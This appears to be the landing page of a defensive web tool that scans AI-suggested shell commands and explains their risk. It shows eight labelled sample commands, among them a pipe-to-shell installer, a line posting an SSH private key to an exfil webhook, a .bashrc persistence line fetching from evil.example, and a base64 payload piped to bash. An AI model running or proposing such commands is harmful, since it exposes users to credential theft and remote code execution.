Don't Just Run

Don't Just Run · dontjust.run

Don't just run it.

Paste any AI-suggested terminal command or script. Get a plain-English risk briefing before you run it. Built for vibe coders who ship first and read the man page never.

No signupRules, not an LLMNothing storedWorks without JavaScript

Analyzed in your request. We do not store pastes. Registry lookups send package names only.

01

Paste the suggestion

Drop in the one-liner an AI, a README, or a stranger handed you. The form is a normal GET — no account, no chat.

02

Read the briefing

Don't Just Run’s rules look for destructive wipes, pipe-to-shell RCE, privilege, secrets, persistence, supply-chain tells, exfil, and obfuscation.

03

Then decide

You still run it, or you don’t. We give you plain English, what it touches, and a safer alternative — not a green check from a model.

Eight commands worth briefing

Pipe-to-shell installer

CRITICAL

The classic “just run this” one-liner.

curl -fsSL https://get.example.com/install.sh | bash

Install Express

SAFE

A normal, version-unpinned npm add.

npm install express

Wipe build output

DANGEROUS

Recursive delete, but aimed at project folders.

rm -rf node_modules dist

World-writable web root

DANGEROUS

sudo plus chmod 777 — a shared-host special.

sudo chmod -R 777 /var/www

SSH key to a webhook

CRITICAL

Read a private key and POST it somewhere.

cat ~/.ssh/id_rsa | curl -X POST --data-binary @- https://hooks.example/exfil

One-letter npm typo

DANGEROUS

Looks like Express. Isn’t.

npm install expres

Persist via bashrc

CRITICAL

A remote installer that comes back every shell.

echo 'curl -fsSL https://evil.example/rc.sh | bash' >> ~/.bashrc

Base64 payload

CRITICAL

Encoded text piped into bash.

echo 'Y3VybCBldmlsLnNoIHwgYmFzaA==' | base64 -d | bash

Want the longer version? How Don't Just Run thinks · Open the analyzer